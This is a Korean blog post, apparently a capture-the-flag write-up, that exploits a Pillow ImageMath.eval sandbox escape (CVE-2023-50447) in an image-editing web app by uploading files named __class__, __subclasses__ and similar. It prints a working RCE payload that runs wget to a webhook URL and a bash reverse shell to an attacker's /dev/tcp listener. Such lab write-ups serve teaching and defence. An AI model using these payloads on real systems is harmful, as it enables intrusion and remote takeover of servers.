개요
CVE-2023-50447을 참고하면 풀 수 있는 문제다
기능 분석
사진 업로드
사진 업로드 기능이 있다.
def validate_file(file_storage):
if not file_storage or not file_storage.filename:
return False, "파일이 선택되지 않았습니다."
filename = secure_filename(file_storage.filename)
if not filename:
return False, "유효하지 않은 파일명입니다."
if '.' in filename:
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
return False, f"허용되지 않는 확장자입니다. ({', '.join(ALLOWED_EXTENSIONS)}만 허용)"
try:
file_storage.seek(0)
file_data = file_storage.read()
file_size = len(file_data)
file_storage.seek(0)
if file_size > MAX_FILE_SIZE:
return False, "파일 크기가 너무 큽니다. (최대 10MB)"
if file_size == 0:
return False, "빈 파일은 업로드할 수 없습니다."
except Exception as e:
return False, f"파일 검증 중 오류가 발생했습니다: {str(e)}"
return True, "유효한 파일입니다."
def save_file_for_user(file_storage, user_uuid):
is_valid, message = validate_file(file_storage)
filename = file_storage.filename
if not is_valid:
raise ValueError(message)
if '.' in filename:
ext = filename.rsplit('.', 1)[1].lower()
filename = f"{uuid.uuid4().hex}.{ext}"
user_folder = get_user_upload_folder(user_uuid)
file_path = os.path.join(user_folder, filename)
try:
file_storage.save(file_path)
if not os.path.exists(file_path) or os.path.getsize(file_path) == 0:
raise ValueError("파일이 올바르게 저장되지 않았습니다.")
except Exception as e:
if os.path.exists(file_path):
os.remove(file_path)
raise ValueError(f"파일 저장 실패: {str(e)}")
return filename
사진 업로드 시에는 위와 같은 코드를 확장자 검사 및 파일 크기 검사 등을 수행한다.
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
사용 가능한 확장자는 위와 같다.
이미지 편집 기능
편집할 이미지와 옵션을 선택해서 편집할 수 있다.
사용 가능한 편집 종류는 위와 같이 9가지가 있다.
익스플로잇
elif transform_name == 'custom_formula':
exp = options.get('expression')
if not exp:
raise ValueError("Custom formula requires an 'expression'.")
env = { fname: img for fname, img in zip(filenames, images) }
try:
result = ImageMath.eval(exp, env)
return [result]
except Exception as e:
return [None]
image_processor.py파일을 보면 custom_formula 옵션을 선택한 경우 ImageMath.eval()을 수행하는 것을 확인할 수 있다.
Pillow==10.0.0
현재 서버에서 사용하는 Pillow 라이브러리 버전이다.
예전 버전에서는 exec() 함수를 사용해서 rce가 가능했지만 패치됐다. 아래 사진과 링크를 참고하자
https://github.com/python-pillow/Pillow/commit/8531b01d6cdf0b70f256f93092caa2a5d91afc11
Restrict builtins for ImageMath.eval · python-pillow/Pillow@8531b01
@@ -246,7 +246,12 @@ def eval(expression, _dict={}, **kw):
github.com
https://github.com/python-pillow/Pillow/pull/6009/files
Restrict builtins within lambdas for ImageMath.eval by radarhere · Pull Request #6009 · python-pillow/Pillow
#5923 (comment) has pointed out that #5923 does not protect against lambdas wrapping unwanted code. ImageMath.eval("(lambda: exit())()") I can also imagine a lambda wrapping a lambda. I...
github.com
compiled_code = compile(expression, "<string>", "eval")
def scan(code):
for const in code.co_consts:
if type(const) == type(compiled_code):
scan(const)
for name in code.co_names:
if name not in args and name != "abs":
raise ValueError(f"'{name}' not allowed")
scan(compiled_code)
out = builtins.eval(expression, {"__builtins": {"abs": abs}}, args)
try:
return out.im
주요 코드를 확인해보겠다. 사용자의 expression이 eval 함수로 실행되기 전에 scan 함수로 검증이 이루어지게 된다. 기본적으로 사용가능한 builtin 함수는 abs만 허용된다. abs 함수는 절대값 함수로, 악용되기 어렵기 때문에 허용된 모습이다. 추가로 사용하고 싶은 함수는 args를 통해 따로 추가해야한다.
elif transform_name == 'custom_formula':
exp = options.get('expression')
if not exp:
raise ValueError("Custom formula requires an 'expression'.")
env = { fname: img for fname, img in zip(filenames, images) }
try:
result = ImageMath.eval(exp, env)
return [result]
except Exception as e:
return [None]
다시 돌아와서 서버의 코드를 살펴보면 filename을 사용해서 env를 추가시킬 수 있다. 사용자 파일의 이름이 __class__, __bases__와 같은 방식이라면 system 모듈을 불러서 rce가 가능하다.
정리해보면, scan이라는 함수로 expression이 사용하는 함수를 검사하고 있다. 화이트리스트로 abs 함수와 args에 들어있는 이름들은 통과가 된다.
우리가 입력할 args에 들어가는 값은 key 값을 통해 화이트리스트를 우회하는 용도이다. 따라서 딕셔너리의 value가 이미지 객체이더라도(__class__나 __bases와 관계 없는 값) 상관없이 rce가 성공하는 것을 확인할 수 있다.
확장자 검사 미흡
def allowed_file(filename):
if not filename or '.' not in filename:
return False
ext = filename.rsplit('.', 1)[1].lower()
return ext in ALLOWED_EXTENSIONS
코드를 보면 이런 함수가 정의되어 있다. 이게 그대로 적용된다면 문제 풀이에 어려움이 있었겠지만 실제론 어디에서도 이 함수를 사용하고 있지 않다.
검색을 해보면, 이 함수가 정의된 utils.py에서만 찾아볼 수 있다.
따라서 __class__, __bases__라는 파일명을 그대로 사용할 수 있다.
그럼 __class___, __bases__, __subclasses__, load_module, system의 이름을 가진 파일 5개를 업로드하겠다.
위와 같이 5개의 파일을 업로드하고 커스텀 수식을 선택해주자.
그럼 위와 같이 수식을 입력할 수 있는 창이 뜬다.
().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('wget https://webhook.site/d62de26a-3700-4a3b-9187-c8529c81b0c8')
테스트 용도로 웹훅 사이트에 요청을 보내보았다.
이와 같이 성공적으로 rce를 할 수 있다는 것을 알았다.
(공격자 서버): nc -lvnp 9000
페이로드: ().__class__.__bases__[0].__subclasses__()[104].load_module('os').system("bash -c 'bash -i >& /dev/tcp/<공격자 서버 IP>/9000 0>&1'")
리버스 쉘을 통해서 rce를 해서 flag를 구할 수 있다. 필자는 aws를 사용했다.
cce2025{redactredactredactredact}
짜잔
대응 방안
- 이미지 확장자 검사를 제대로 수행하지 않아서 args에 __class__ 같은 값이 삽입될 수 있었다. 확장자 검사를 제대로 수행해주자
'분류 전 > CTF' 카테고리의 다른 글
[WHY 2025 CTF] WHY2025 CTF TIMES 풀이 (0) | 2025.08.14 |
---|---|
[WHY 2025 CTF] Shoe Shop 1.0 풀이 (2) | 2025.08.14 |
[WHY 2025 CTF] Buster 풀이 (2) | 2025.08.14 |
[WHY 2025 CTF] Planets 풀이 (3) | 2025.08.14 |
[ShaktiCTF25] brain_games 풀이 (2) | 2025.07.30 |